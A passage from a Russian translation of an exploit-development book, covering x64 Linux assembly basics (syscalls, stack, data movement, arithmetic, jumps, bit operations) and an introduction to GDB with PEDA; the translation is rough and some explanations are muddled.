$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep exit
#define __NR_exit 60
#define __NR_exit_group 231

Exit syscall содержится под номером 60.

Посмотрим на аргументы:
$ man 2 exit

[ 50 ]
Язык ассемблер в Linux Глава 3

Результат введённой нами команды показан на скриншоте:

Единственным аргументом будет status который имеет данные типа int для
обозначения статуса exit.
void _exit(int status);

Посмотрим как мы будем использовать регистры для вызова в системе Linux x64 :

[ 51 ]
Язык ассемблер в Linux Глава 3

Мы просто вставили номер syscall в RAX. Затем первый аргумент RDI, второй
аргумент в RSI и так далее как мы можем видеть на скриншоте.

Посмотрим как мы будем вызывать exit syscall:

Мы вставили 60 что является командой exit syscall в RAX, потом 0 в RDI что
означает статус выхода. Это очень просто!

Уделим внимание на код ассемблера:


mov rax, 60
mov rdi, 0

Первая строка говорит нам что процессор передвинул значение 60 в rax, а во второй
строке значение 0 в rdi.

Как вы видите главным структурами являются {Operation} {Destination},


{Source}.

Типы данных
Типы данных очень важны в ассемблере. Мы используем их при обозначении
переменных или при выполнении операции на не большой части регистра или
памяти.

[ 52 ]
Язык ассемблер в Linux Глава 3

Данная таблица показывает что типы данных в ассемблере основаны на их длине:

Name Directive Bytes Bits


Byte db 1 8
Word dw 2 16
Doubleword dd 4 32
Quadword dq 8 64

Чтобы понять это мы напишем программу "hello world" в ассемблере.

Hello world
Мы напишем программу "hello world" которая является базовой для любого
программиста.

Первым делом нам нужно понять какой syscall напишет hello world на экране. Для
этого мы напишем syscall write:
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep write

#define __NR_write 1
#define __NR_pwrite64 18
#define __NR_writev 20
#define __NR_pwritev 296
#define __NR_process_vm_writev 311
#define __NR_pwritev2 328

Как мы видим syscall write является числом 1; посмотрим что будет аргументом:
$ man 2 write

[ 53 ]
Язык ассемблер в Linux Глава 3

Результат введённой нами команды показан на скриншоте:

Write syscall имеет три аргумента; первый это file descriptor:


ssize_t write(int fd, const void *buf, size_t count);

File descriptor имеет три вида (modes):

Integer value Name Alias for stdio.h


0 Standard input stdin
1 Standard output stdout
2 Standard error stderr

При написании hello world мы выберем стандартный вывод (standard output) 1,


tвторой аргумент указывает на строку которую мы хотим вывести на экран; третий
аргумент считывает строку включая пробелы.

[ 54 ]
Язык ассемблер в Linux Глава 3

Следующая диаграмма раскрывает содержание регистра:

Посмотрим на целый код:


global _start

section .text

_start:

mov rax, 1
mov rdi, 1
mov rsi, hello_world
mov rdx, length
syscall

section .data

hello_world: db 'hello world',0xa


length: equ $-hello_world

Часть.data состоит из переменных. Первая переменная имеет тип данных вида (db),
и состоит из строки hello world и 0xaкоторая начинается с новой строки в языке С
\n. Вторая переменная length содержит длину строки hello_world c equ, которая
означает равенство. $-, означает перевод данной строки .

В части.text мы передвигаем 1 в rax, что означает write syscall номер. Затем мы


двигаем 1 в rdi как индикатор файлового дикриптора (file descriptor). Далее мы
движем адрес строки hello_world в rsi, и снова длину строки hello_world в rdx.
В конце мы вызываем syscall, что означает выполнить.

[ 55 ]
Язык ассемблер в Linux Глава 3

Давайте соберем все вместе:


$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ ./hello-world

Результат введённой нами команды показан на скриншоте:

Строка hello world выполнилась и последующим выходом при ошибке


Segmentation fault так как не была задана последуюшая команда. Мы
исправим это добавив exit в syscall:
global _start

section .text

_start:

mov rax, 1
mov rdi, 1
mov rsi, hello_world
mov rdx, length
syscall

mov rax, 60
mov rdi, 1
syscall

section .data

hello_world: db 'hello world',0xa


length: equ $-hello_world

[ 56 ]
Язык ассемблер в Linux Глава 3

Мы добавили exit syscall передвинув 60 в rax. Затем передвинули 1 в rdi,


которая показывает статус выхода. В конце вызвали syscall чтобы выполнить
exit syscall:

[ 57 ]
Язык ассемблер в Linux Глава 3

Давайте попробуем ещё раз:

Теперь выход прошел успешно как мы видим из значения echo $?:

Как мы и выбрали статус выхода явдяется 1.

Stack

Как мы и говорили в предыдущей главе stack это выделенное место для каждого
приложения используемое для хранения переменных и данных. Stack выполняет две
операции (push and pop); операция push используется для передвижения элемента в
stack. Операция pop берет верхний элемент в stack и выводит его .

Посмотрим на простой пример:


global _start

section .text

_start:

mov rdx,0x1234
push rdx

[ 58 ]
Язык ассемблер в Linux Глава 3

push 0x5678
pop rdi
pop rsi
mov rax, 60
mov rdi, 0
syscall
section .data

Этот код очень прост:


$ nasm -felf64 stack.nasm -o stack.o
$ ld stack.o -o stack

Далее мы запустим приложение в дебаггере и увидим как работает stack.

В начале работы все регистры пусты кроме регистра RSP, который указывает на
верхную часть в stack 00007ffdb3f53950:

[ 59 ]
Язык ассемблер в Linux Глава 3

После выполнения первой команды 0x1234 двигается в rdx:

[ 60 ]
Язык ассемблер в Linux Глава 3

Как мы видим регистр rdx содержит 0x1234 без изменений в stack. Вторая команда
двигает переменную rdx в Stack:

[ 61 ]
Язык ассемблер в Linux Глава 3

Посмотрим на секцию Stack ; она сдвинута ниже (с 50 на 48) и содержит


0x1234. Третья команда двигает 0x5678 прямо в Stack:

[ 62 ]
Язык ассемблер в Linux Глава 3

Четвертая команда извлекает последний элемент из Stack в rdi:

[ 63 ]
Язык ассемблер в Linux Глава 3

Как мы видим Stack больше не содержит 0x5678 и находится в rdi. Последняя


команда извлечет последний элемент из Stack в rsi:

Stack перешел из 0x1234 в rsi.

В этом примере мы разобрали основны создания программы используя push/pop


операции в stack. В следующей части мы изучим все необходимые команды
ассемблера.

[ 64 ]
Язык ассемблер в Linux Глава 3

Data manipulation
Манипуляция данных (data manipulation) это передвижение ланных в ассемблере.
В этой главе мы изучим такие команды как mov и как переводить данные из разных
регистров, памяти, копировать адреса регистров, как обмениваться данными между
регистрами и данными используя команду xchg. В конце мы изучим как загружать
нужный адрес используя команду lea.

Команда mov
Команда mov является одной из самых важных команд в ассемблере системы Linux.
Мы уже использовали её в предыдущем примере.
Команда mov используется для переноса данных между регистрами и между
регистрами и памятью.

Посмотрим на пример: первым делом мы переносим данные в регистры:

global _start

section .text

_start:

mov rax, 0x1234


mov rbx, 0x56789

mov rax, 60
mov rdi, 0
syscall

section .data

[ 65 ]
Язык ассемблер в Linux Глава 3

Этот код копирует 0x1234 в rax и 0x56789 в rbx:

Добавим некоторые данные и переместим их между регистрами в предыдущий пример:


global _start

section .text

_start:

mov rax, 0x1234


mov rbx, 0x56789

mov rdi, rax


mov rsi, rbx

mov rax, 60
mov rdi, 0
syscall

section .data

[ 66 ]
Язык ассемблер в Linux Глава 3

Мы перенесли содержимое в rax и rbx в rdi и в rsi соответственно:

Попробуем переместить данные между регистрами и памятью:


global _start

section .text

_start:

mov al, [mem1]


mov bx, [mem2]
mov ecx, [mem3]
mov rdx, [mem4]

mov rax, 60
mov rdi, 0
syscall

section .data
mem1: db 0x12
mem2: dw 0x1234
mem3: dd 0x12345678
mem4: dq 0x1234567891234567

[ 67 ]
Язык ассемблер в Linux Глава 3

В mov al, [mem1],в скобках показаны перенос данных из mem1 в al.


При использовании mov al, mem1 без скобок мы сдвинем указатель
(pointer) от mem1 к al.

В первой строке мы перенесли 0x12 в регистр RAX так как мы переносим 8 бит. Мы
используем AL (нижняя часть регистра RAX с содержанием 8 бит) так как мы не
можем использовать все 64 бита. Также мы определили часть памяти mem1 как db,
которая содержит не более 8 бит.

Посмотрим на таблицу ниже:

64-bit register 32-bit register 16-bit register 8-bit register


RAX EAX AX AH, AL
RBX EBX BX BH, BL
RCX ECX CX CH, CL
RDX EDX DX DH, DL
RSI ESI SI SIL
RDI EDI DI DIL
RSP ESP SP SPL
RBP EBP BP BPL
R8 R8D R8W R8B
R9 R9D R9W R9B
R10 R10D R10W R10B
R11 R11D R11W R11B
R12 R12D R12W R12B
R13 R13D R13W R13B
R14 R14D R14W R14B
R15 R15D R15W R15B

Значение 0x1234 (dw) мы перенесли в регистр rbx. Далее мы перенесли 2 бита (16 bits)
в BX, который содержит 16 бит.

Далее значение 0x12345678 (dd) перенесли в регистр RCX и 4 байта (32 бита) в ECX.

[ 68 ]
Язык ассемблер в Linux Глава 3

Последним мы перенесли 0x1234567891234567 (dq) в регистр RDX и 8 байтов (64


бит)в регистр RDX:

Так выглядят регистры после выполнения команд.

Перейдем к переносу данных из регистров в память. Посмотрим на следующий


код:
global _start

section .text

_start:

mov al, 0x34


mov bx, 0x5678
mov byte [mem1], al
mov word [mem2], bx

mov rax, 60
mov rdi, 0
syscall

section .data

mem1: db 0x12
mem2: dw 0x1234
mem3: dd 0x12345678
mem4: dq 0x1234567891234567

[ 69 ]
Язык ассемблер в Linux Глава 3

В первой и второй команде мы перенесли значения прямо в регистр. В третьей


команде мы перенесли данные из регистра RAX (AL) в mem1 и задали длину в байтах.
В четвертой команде иы перенесли данные из регистра RBX (RX) в mem2 и задали
длину текстом.

Эти данные содержат mem1 и mem2 до переноса каких либо значений:

Следующий скриншот сделан после изменения значений mem1 и mem2:

Обмен данными (data swapping)


Обмен данными (data swapping) используется для обмена данными между
двумя регистрами или регистром и памятью используя команду xchg:
global _start

section .text

_start:

mov rax, 0x1234


mov rbx, 0x5678
xchg rax, rbx
mov rcx, 0x9876
xchg rcx,[mem1]

[ 70 ]
Язык ассемблер в Linux Глава 3

mov rax, 60
mov rdi, 0
syscall

section .data
mem1: dw 0x1234

В предыдущем коде мы перенесли 0x1234 в регистр rax, затем 0x5678 перенесли в


регистр rbx:

В третьей команде мы обменяли данные между регистрами rax и rbx используя


команду xchg:

[ 71 ]
Язык ассемблер в Linux Глава 3

Дальше перенесли 0x9876 в регистр rcx где mem1 содержит 0x1234:

Здесь произошел обмен между rcx и mem1:

[ 72 ]
Язык ассемблер в Linux Глава 3

Загрузка действующих адресов (effective address)


Команда загрузки действуюших адресов (effective address (lea)) используется для
нахождения адреса приема
global _start

section .text

_start:

lea rax, [mem1]


lea rbx, [rax]

mov rax, 60
mov rdi, 0
syscall

section .data
mem1: dw 0x1234

Первым делом мы перенесли mem1 в rax, затем перенесли адрес rax в rbx:

Оба указывают на mem1, который содержит 0x1234.

[ 73 ]
Язык ассемблер в Linux Глава 3

Арифметические операции
Здесь мы поговорим об арифметических операциях (сложение и вычетание).
Начнём:
global _start

section .text

_start:

mov rax,0x1
add rax,0x2

mov rbx,0x3
add bl, byte [mem1]

mov rcx, 0x9


sub rcx, 0x1

mov dl,0x5
sub byte [mem2], dl

mov rax, 60
mov rdi, 0
syscall

section .data
mem1: db 0x2
mem2: db 0x9

Первым мы перенесём 0x1 в регистр rax. Далее добавим 0x2 и результат сохраним в
регистре rax .

Потом перенесём 0x3 в регистр rbx и добавим данные mem1, содержащие 0x2, с
содержимым rbx. Рещультат сохраним в rbx.

Затем перенес ём 0x9 в регистр rcx. Далее вычтем 0x1 и результат сохраним в rcx.

[ 74 ]
Язык ассемблер в Linux Глава 3

Далее перенесём 0x5 в регистр rdx и вычтем содержимое mem2 из rdx. Результат
сохраним в mem2 (в области памяти):

После вычитания mem2содержит:

Дополнительно к вычитанию научимся занимать:


global _start

section .text

_start:

mov rax, 0x5


stc
adc rax, 0x1

mov rbx, 0x5


stc
sbb rbx, 0x1

mov rax, 60
mov rdi, 0
syscall

section .data

[ 75 ]
Язык ассемблер в Linux Глава 3

Первым мы добавим 0x5 в регистр rax. Затем установим carry flagкоторый будет
содержать 1. После мы добавим данныерегистра rax в 0x1 и в carry flag который
содержит 1. Это даст нам результат 0x7 (5+1+1).

Ладее перенесём 0x5 в регистр rbx и установим carry flag. Затем вычтем 0x1 из
регистра rbx и ещё одну 1 в carry flag. Это даст нам результат 0x3 (5-1-1):

Последними мы используем операцию увеличениея и уменьгения:


global _start

section .text

_start:

mov rax, 0x5


inc rax
inc rax

mov rbx, 0x6


dec rbx
dec rbx

mov rax, 60
mov rdi, 0
syscall

section .data

Первым мы добавим 0x5 в регистор rax. Увеличим значение rax в1. Затем
снова увеличим что даст нам 0x7.

[ 76 ]
Язык ассемблер в Linux Глава 3

Добавим 0x6 в регистр rbx. Уменьгим значение rbx в 1. Затем уменьгим еще
раз что даст нам 0x4:

Циклы (loops)
Здесь мы поговорим о циклах в ассемблере. Как и в любом другом языке (Python, Java
и тд) мы используем циклы (loops) для итерации регистра RCX при
подсчете. Посмотрим на пример:
global _start

section .text

_start:

mov rcx,0x5
mov rbx,0x1

increment:

inc rbx
loop increment

mov rax, 60
mov rdi, 0
syscall

section .data

[ 77 ]
Язык ассемблер в Linux Глава 3

В предыдущем коде мы хотели увеличить содержимое RAX в пять раз используя 0x5
в регистре rcx. Затем мы перенесли 0x1 в регистр rbx:

Затем добавили increment чтобы показать где мы начинаем повтор. Затем


добавили команду increment в данные регистра rbx:

Это действие мы назовём цикличным увеличением (loop increment)

Это продолжится пока регистр RCX не дойдет до 0, пока поток не выйдет из цикла:

[ 78 ]
Язык ассемблер в Linux Глава 3

Что если программа перепишет себя со значением в регистре RCX? Посмотрим на примеры:
global _start

section .text

_start:

mov rcx, 0x5

print:

mov rax, 1
mov rdi, 1
mov rsi, hello
mov rdx, length
syscall

loop print

mov rax, 60
mov rdi, 0
syscall

section .data
hello: db 'Hello There!',0xa
length: equ $-hello

После выполнения кода программы застрянет в бесконечном цикле. Мы видим


что код переписывает значение в регистре RCX после выполнения syscall:

[ 79 ]
Язык ассемблер в Linux Глава 3

Нам нужно понять как сохранить регистр RCX. Первым мы подвинем имеющееся
значение в stack до выполнения syscall. После вызова syscall мы перепишем значение
в регистре RCX с нашим значением. Затем уменьшим значение и снова перенесём в
stack попутно созранив его:
global _start

section .text

_start:

mov rcx, 0x5

increment:

push rcx
mov rax, 1
mov rdi, 1
mov rsi, hello
mov rdx, length
syscall
pop rcx

loop increment

mov rax, 60
mov rdi, 0
syscall

section .data
hello: db 'Hello There!',0xa
length: equ $-hello

Так мы сохраним значение в регистре RCX при необходимости снова достать


его. Взгляните на команду pop rcx с последующим кодом. RCX снова
возвращается к 0x5 как мы и ожидали:

[ 80 ]
Язык ассемблер в Linux Глава 3

Контроль потока
Здесь мы поговорим о контроле потока при выполнении команды. Обычный поток
выполняется путем выполнения шага 1, шага 2, или пока код выполняется. Что
если мы решим что то изменить на шаге 2 пропустив шаг 3, при этом выполнив
шаг 4 ? Существует два типа перехода:

Безусловная смена потока (unconditionally)


Смена потока на основе смены flags

Пример типа unconditional :


global _start

section .text

_start:

jmp exit_ten

mov rax, 60
mov rdi, 12
syscall

mov rax, 60
mov rdi, 0
syscall

exit_ten:

mov rax, 60
mov rdi, 10
syscall

mov rax, 60
mov rdi, 1
syscall

section .data

[ 81 ]
Язык ассемблер в Linux Глава 3

Предыдущий код включает 4 команды exit, но все команды exit разные (12, 0, 10, 1).
Мы начали с jmp exit_ten, затем exit_ten , и потом перешли в эту часть кода:

mov rax, 60
mov rdi, 10
syscall

Значение exit равно 10.

mov rax, 60
mov rdi, 12
syscall

mov rax, 60
mov rdi, 0
syscall

Давайте примем:
$ nasm -felf64 jmp-un.nasm -o jmp-un.o
$ ld jmp-un.o -o jmp-un
$ ./jmp-un
$ echo $?

Результат введённой нами команды показан на скриншоте:

Код выполнен со значением 10.

Проверим следующий пример:

global _start

section .text

_start:

mov rax, 1

[ 82 ]
Язык ассемблер в Linux Глава 3

mov rdi, 1
mov rsi, hello_one
mov rdx, length_one
syscall

jmp print_three

mov rax, 1
mov rdi, 1
mov rsi, hello_two
mov rdx, length_two
syscall

print_three:
mov rax, 1
mov rdi, 1
mov rsi, hello_three
mov rdx, length_three
syscall

mov rax, 60
mov rdi, 11
syscall

section .data

hello_one: db 'hello one',0xa


length_one: equ $-hello_one

hello_two: db 'hello two',0xa


length_two: equ $-hello_two

hello_three: db 'hello three',0xa


length_three: equ $-hello_three

Ранее мы писали hello_one. Затем jmp print_three и потом при


выполненении записывался как print_three и далее hello_three.
Последующая часть не выполнилась:
mov rax, 1
mov rdi, 1
mov rsi, hello_two
mov rdx, length_two
syscall

[ 83 ]
Язык ассемблер в Linux Глава 3

Посмотрим на это:
$ nasm -felf64 jmp_hello.nasm -o jmp_hello.o
$ ld jmp_hello.o -o jmp_hello
$ ./jmp_hello

Результат введённой нами команды показан на скриншоте:

Если переход ниже команды (jb) то юудет выполнена команда carry flag (CF)
(CF равна 1).

Мы выпольшяем команду CF используя запись stc.

Давайте изменим предыдущий код использовав команду jb:


global _start

section .text

_start:

mov rax, 1
mov rdi, 1
mov rsi, hello_one
mov rdx, length_one
syscall

stc

jb print_three

mov rax, 1
mov rdi, 1
mov rsi, hello_two

[ 84 ]
Язык ассемблер в Linux Глава 3

mov rdx, length_two


syscall

print_three:
mov rax, 1
mov rdi, 1
mov rsi, hello_three
mov rdx, length_three
syscall

mov rax, 60
mov rdi, 11
syscall

section .data

hello_one: db 'hello one',0xa


length_one: equ $-hello_one

hello_two: db 'hello two',0xa


length_two: equ $-hello_two

hello_three: db 'hello three',0xa


length_three: equ $-hello_three

Как мы видим мы выполнили команду stc использовав carry flag (где CF равен 1).
Затем команду jb перейдя к команде print_three где CF = 1.

Ниже еще один пример:


global _start

section .text

_start:

mov al, 0xaa


add al, 0xaa

jb exit_ten

mov rax, 60
mov rdi, 0
syscall

exit_ten:

[ 85 ]
Язык ассемблер в Linux Глава 3

mov rax, 60
mov rdi, 10
syscall

section .data
В предыдущем примеры мы добавили команду для использования carry flag. Затем
использовали команду jb; если CF = 1, то мы перейдем к команде выхода
exit_ten.

Рассмотрим пример где переход ниже или равен команде(jbe) , где CF = 1 или zero
flag (ZF) = 1. Зададим ZF значение = 1:

global _start

section .text

_start:

mov al, 0x1


sub al, 0x1

jbe exit_ten

mov rax, 60
mov rdi, 0
syscall

exit_ten:

mov rax, 60
mov rdi, 10
syscall

section .data

В этом коде команда сложения задаст пример ZF использовав команду jbe для
проверки CF - если равен то 1 или ZF равен то 1; если правда (true), если правда то
выполнит exit_ten.

Следующий переход если нет признаков (jns) означает SF = 0:


global _start

section .text

_start:

[ 86 ]
Язык ассемблер в Linux Глава 3

mov al, 0x1


sub al, 0x3

jns exit_ten

mov rax, 60
mov rdi, 0
syscall

exit_ten:

mov rax, 60
mov rdi, 10
syscall

section .data

В предыдущей операции (SF) = 1. Далее мы проверим или SF = 0 тем самым не


выполним код exit_ten или продолжин с обычным статусом exit = 0:

Операции (procedures)
Операции в ассемблере могут использоваться как функции. Вы можете написать их в
виде блока, а затем попросить выполнить .

Например мы можем написать две цифры и попросить выполнить их. Также мы


можем использовать команду call для их выполнения.

Создавать операции легко. Первым делом мы обозначим операцию начав с команды


_start. Затем добавим свои команды и закончим все командой ret.

[ 87 ]
Язык ассемблер в Linux Глава 3

Давайте напишем программу сложения двух чисел:


global _start

section .text

addition:

add bl,al
ret

_start:

mov al, 0x1


mov bl, 0x3
call addition

mov r8,0x4
mov r9, 0x2
call addition

mov rax, 60
mov rdi, 1
syscall

section .data

Первым мы добавили addition перед командой _start. Затем к addition мы


добавили add. Затем содержимое регистра R8 и R9 объединили в регистре R8
выполнив команду addition и закончив все с ret.

Далее мы перенесли 1 в регистр R8 и 3 в регистр R9:

[ 88 ]
Язык ассемблер в Linux Глава 3

Далее мы выполнили команду addition которая перенесла следующий адрес в


stack, которым является mov r8,0x4:

Теперь RSP указывает на следующую операцию внутри команды addition после


которой код добавит оба числа в память и в регистр R8:

После выполнится команда ret которая вернет порядок выполнения обратно в


mov r8,0x4.

Число 4 и 2 перейдут в регистр R8:

[ 89 ]
Язык ассемблер в Linux Глава 3

Вызвав команду addition мы перенесём mov rax и 60 в stack:

После добавим оба числа и сохраним их в регистре R8:

Ещё раз выполним команду retи перенесём следующую команду из stack в регистр
RIP которая идентична команде pop rip:

Код закончит задание выполнив команду exit.

[ 90 ]
Язык ассемблер в Linux Глава 3

Логические операции
Здесь мы поговорим о битовых операторах и операторах сдвига.

Битовые операторы
Существует 4 вида битовых операторов: AND, OR, XOR, and NOT.

Начнём с оператора AND :

global _start

section .text

_start:

mov rax,0x10111011
mov rbx,0x11010110
and rax,rbx

mov rax, 60
mov rdi, 10
syscall

section .data

Первым мы переведем 0x10111011 в регистр rax и 0x11010110 в регистр


rbx:

[ 91 ]
Язык ассемблер в Linux Глава 3

Мы использовали оператор AND и сохранили результат в RAX:

Посмотрим на результат внутри регистра RAX:

Далее перенесем оператор OR и изменим предыдущий код для выполнения новой


команды:
global _start

section .text

_start:

mov rax,0x10111011
mov rbx,0x11010110
or rax,rbx

mov rax, 60
mov rdi, 10
syscall

section .data

Мы перенесли оба значения в регистры rax и rbx:

[ 92 ]
Язык ассемблер в Linux Глава 3

Используем оператор OR на данных значениях:

Получим результат в регистре RAX:

Посмотрим на оператор XOR с теми же значениями:


global _start

section .text

_start:

mov rax,0x10111011
mov rbx,0x11010110
xor rax,rbx

mov rax, 60
mov rdi, 10
syscall

section .data

[ 93 ]
Язык ассемблер в Linux Глава 3

Перенесём наши значения в регистры rax и rbx:

Используем оператор XOR:

Посмотрим на то что находится в регистре RAX:

Оператор XOR произвольно выполняет команды в регистре.


Например xor rax и rax выведет значение 0 в регистре RAX.

Посмотрим на последюю часть где побитовый оператор NOT сменит значение 0 на 1


и значение 1 на 0:
global _start

section .text

_start:

mov al,0x00
not al

[ 94 ]
Язык ассемблер в Linux Глава 3

mov rax, 60
mov rdi, 10
syscall

section .data

Результат введённой нами команды показан на скриншоте:

Как оператор NOT изменяет 1 на 0 и обратно?

Операторы битовых сдвигов (bit-shifting


operations)
Вам будет легко понять операторы битовых сдвигов если вы следили за всеми
диаграммами . Существует два вида битовых операторов: арифметический сдвиг и
логический сдвиг. Также мы будем использовать операторы чередования (rotate).

Начнём с оператора арифметического сдвига.

Оператор арифметического сдвига


Давайте упростим нашу задачу. Существует два типа арифметического
сдвига: сдвиг влево (SAL) и сдвиг вправо (SAR).

В SAL мы веберем 0 на менее значимой стороне бита а лишний бит из наиболее


важнового:

[ 95 ]
Язык ассемблер в Linux Глава 3

Как мы видим результат сдвига не затронул CF:

Посмотрим на пример:
global _start

section .text

_start:

mov rax, 0x0fffffffffffffff


sal rax, 4
sal rax, 4

mov rax, 60
mov rdi, 0
syscall

section .data

Мы перенесли 0x0fffffffffffffff в регистр rax:

Применим SAL одновременно используя 4 бита:

[ 96 ]
Язык ассемблер в Linux Глава3

Так как наиболее важным будет 0 то код не выполнит CF :

Добавим ещё один 0 и наиболее важным станет 1:

Будет выполнена CF:

[ 97 ]
Язык ассемблер в Linux Глава 3

Рассмотрим оператор SAR. В SAR сдвиг значения происходит в зависимости от


наиболее важного бита. Если им будет 0 то будет сдвиг 0, если 1 то 1 будет
сдвинута чтобы не менять значение:

0 является наиболее важным числом для положительного


числа и 1 для отрицательного числа.

В SAR сдвиг зависит от наиболее важного бита.

Рассмотрим пример:
global _start

section .text

_start:

mov rax, 0x0fffffffffffffff


sar rax, 4

mov rax, 60
mov rdi, 0
syscall

section .data

Это то что мы увидим:

[ 98 ]
Язык ассемблер в Linux Глава 3

SAR сдвинет 0 четырежды так как наиболее важным битом является 0:

Также CF выролнит действие так как наиболее важным является 1:

Логический сдвиг (logical shift)


Логический сдвиг также делится на два типа: сдвиг влево (SHL) и сдвиг
вправо (SHR). SHL схож с SAL.

Посмотрим на следующий код:


global _start

section .text

_start:

mov rax, 0x0fffffffffffffff


shl rax, 4
shl rax, 4

[ 99 ]
Язык ассемблер в Linux Глава 3

mov rax, 60
mov rdi, 0
syscall

section .data

0 сдвинется как минимум 4 раза как наименее важный бит:

Это никак не отразится на CF (carry flag):

Во втором раунде 0 сдвинется 4 раза:

[ 100 ]
Язык ассемблер в Linux Глава 3

Наиболее важный бит равен 1, что влечёт за собой выполнение CF (carry flag):

Вернёмся к SHR. 0 сдвинется как наиболее важный бит:

Попробуем выполнить следующий код:


global _start

section .text
_start:

mov rax, 0xffffffffffffffff


shr rax, 32

mov rax, 60
mov rdi, 0
syscall

section .data

[ 101 ]
Язык ассемблер в Linux Глава 3

Сначала мы сдвинем 64 бита:

После выполним SHR 32 раза что передвинет 32 раз 0 на наиболее важную сторону :

Наименее важными будут 1 которые заставят выпольнить CF (carry flag):

Операторы чередования (rotate operation)


Оператор чередования очень прост: мы чередуем данные регистра направо или
налево. Здесь мы разберём только чередование направо (ROR) и
чередование налево (ROL).

[ 102 ]
Язык ассемблер в Linux Глава 3

Начнём с ROR:

В ROR мы просто чередуем биты слева направо не добавляя битов; посмотрим на


слудеющий код:
global _start

section .text

_start:

mov rax, 0xffffffff00000000


ror rax, 32

mov rax, 60
mov rdi, 0
syscall

section .data

Мы перенесли 0xffffffff00000000 в регистр rax:

Затем мы 32 раза поменяли биты слева направо:

[ 103 ]
Язык ассемблер в Linux Глава 3

Единицы не сдвинутся:

Перейдём к ROL который польностью противопожен ROR. Он чередует биты


слева направо без добавления битов:

Посмотрим на предыдущий пример:


global _start

section .text

_start:

mov rax, 0xffffffff00000000


rol rax, 32

mov rax, 60
mov rdi, 0
syscall

section .data

[ 104 ]
Язык ассемблер в Linux Глава 3

Первым делом переместим 0xffffffff00000000 в регистр rax:

Далее начнем чередование битов (32 раза):

При чередовании 1 выполняется CF (carry flag):

Заключение
В этой главе мы изучили использование языка ассемблер в системах Intel x64 и Linux,
как использовать stacks, изменение данных, арифметические и логические операторы
и как испольщовать выходные потоки. Также мы узнали как использовать вызов
системы (syscalls) в языке ассемьлер.

Мы уже готовы начать создавать свои шеллкоды, но перед этим нам нужно изучить
осковы дебаггинга и реверс инженеринга .

[ 105 ]
4
Реверс инженеринг
В этой главе мы изучим что такое реверс инженеринг и как использовать дебаггеры.
Также мы изучим порядок выполнения кода и как использовать дебаггеры в
системах Microsoft Windows и Linux.

Темы которые мы затронем в данной главе:

Дебаггинг в Linux
Дебаггинг в Windows
Порядок выполнения произвольного кода
Обнаружение buffer overflow с использованием реверс
инженеринга

Дебаггинг в Linux
Здесь мы познакомим вас с одним из мощнейших дебаггеров - GDB (GNU debugger).
GDB является дебаггером с открытым кодом который работает на многих языках
программирования: таких C/C++ и устанавливается по умолчанию в системах Linux.

Для чего используются дебаггеры? Часто их используют в регистрах, памяти и в stacks.


Также для детального разбора той или иной части кода или функции.

Многие не любят GDB из-за использования командной строки, так как не легко
запомнить каждую команду. Давайте установим пользовательский интерфейс PEDA
для облегчения использования GDB.
Реверс инженеринг Глава 4

PEDA расшифровывается как Python Exploit Development Assistance.

Первым делом нам нужно скачать его:

$ git clone https://github.com/longld/peda.git ~/peda


Далее копируем файд gdbinit внутри домашней
директории:
$ echo "source ~/peda/peda.py" >> ~/.gdbinit

Далее запускаем GDB:


$ gdb

Начнём с дебаггинга чего то простого как hello world:

global _start

section .text
_start:

mov rax, 1
mov rdi, 1
mov rsi, hello_world
mov rdx, length
syscall

mov rax, 60
mov rdi, 11
syscall

section .data

hello_world: db 'hello there',0xa


length: equ $-hello_world

Соберём все вместе :


$ nasm -felf64 hello.nasm -o hello.o
$ ld hello.o -o hello

Запустим./hello with GDB as follows:


$ gdb ./hello

[ 107 ]
Реверс инженеринг Глава 4

Результат введённой нами команды показан на скриншоте:

Запустим команду разбора для Intel:


set disassembly-flavor intel

Далее укажем место начала дебаггинга для пощагового просмотра кода. Начнём с
_start:
break _start

Выполненная команда выглядит так:

Внутри GDB выполним run продолжив начатое:

[ 108 ]
Реверс инженеринг Глава 4

Мы увидим 3 части (регистры, код и stack):

На следующем скриншоте показана часть кода:

Как мы видим маленькая стрелка указывает на следующую команду которая


перносит 0x1 в регистр eax.

[ 109 ]
Реверс инженеринг Глава 4

Следующий скриншот показывает часть stack:

Используя команду peda мы можем посмотреть возможности команд:

[ 110 ]
Реверс инженеринг Глава 4

Ещё несколько таких:

Все это входит в состав команды PEDA; у GDB имеется похожая команда.

[ 111 ]
Реверс инженеринг Глава 4

Далее введём stepi, или просто s, и начнём выполнение одной команды - mov
eax,0x1:

stepi схожа с командой call которая начинает работу дебаггера,


при том что команда s не делает этого, а просто возвращает
значение команды call путём вызова команды call.

[ 112 ]
Реверс инженеринг Глава 4

В предыдущем скриншоте мы видим 0x1 в ренистре RAX и следуюзая команда


указывает на mov edi,0x1. Нажмём Enter чтобы начать следующую команду:

Как мы видим 1 в регистре RDIи следующая команда movabs rsi,0x6000d8.


Посмотрим что находится внутри 0x6000d8 введя xprint 0x6000d8:

[ 113 ]
Реверс инженеринг Глава 4

IТеперь мы видим где находится строка hello there. Также скачаем это в hex введя
peda hexprint 0x6000d8 или peda hexdump 0x6000d8:

Далее введём stepi:

Регистр RSI указывает на строку hello there.

[ 114 ]
Реверс инженеринг Глава 4

Следующая команда mov edx,0xc переносит 12 в регистр EDX, который равен длине
строки hello there. Введём Enter ещё один раз чтобы вывести следующее:

Регистр RDX содержит 0xc, а следующей командой будет syscall. Далее введём s:

Команда syscall завершена и мы видим строку hello there .

[ 115 ]
Реверс инженеринг Глава 4

Выполним команду exit (syscall), а затем и mov eax,0x3c, что означает внести 60 в
регистр RAX. Далее введём s:

Команда mov edi,0xb внесёт 11 в регистр RDI:

[ 116 ]
Реверс инженеринг Глава 4

RDI содержит 0xb, а следующая команда syscall которая выполнит команду exit:

Команда выполнит это.

Посмотрим пример где hello world на языке C:


#include <stdio.h>

int main()
{
printf ("hello world\n");
return 0;
}

Используем дебаггер GDB:


$ gcc hello.c -o hello
$ gdb ./hello

Сделаем дебаггинг для системы Intel:


set disassembly-flavor intel

Начнем с точки main:


break main

Теперь посмотрим на команду ассемблера для любой функции. Мы будем


использовать команду disassemble следующей за названием функции. Например,
мы хотим разобрать команду main. Для этого вводим disassemble main:

[ 117 ]
Реверс инженеринг Глава 4

Первые две команды хранят данные основного указателя путём переноса RBP в stack,
затем RBP обратно вернется. Запустим приложение введя команду run:

[ 118 ]
Реверс инженеринг Глава 4

Остановка на lea rdi,[rip+0x9f] #

0x5555555546e4. Проверим что внутри:

Указывает на строку hello world. Пройдем

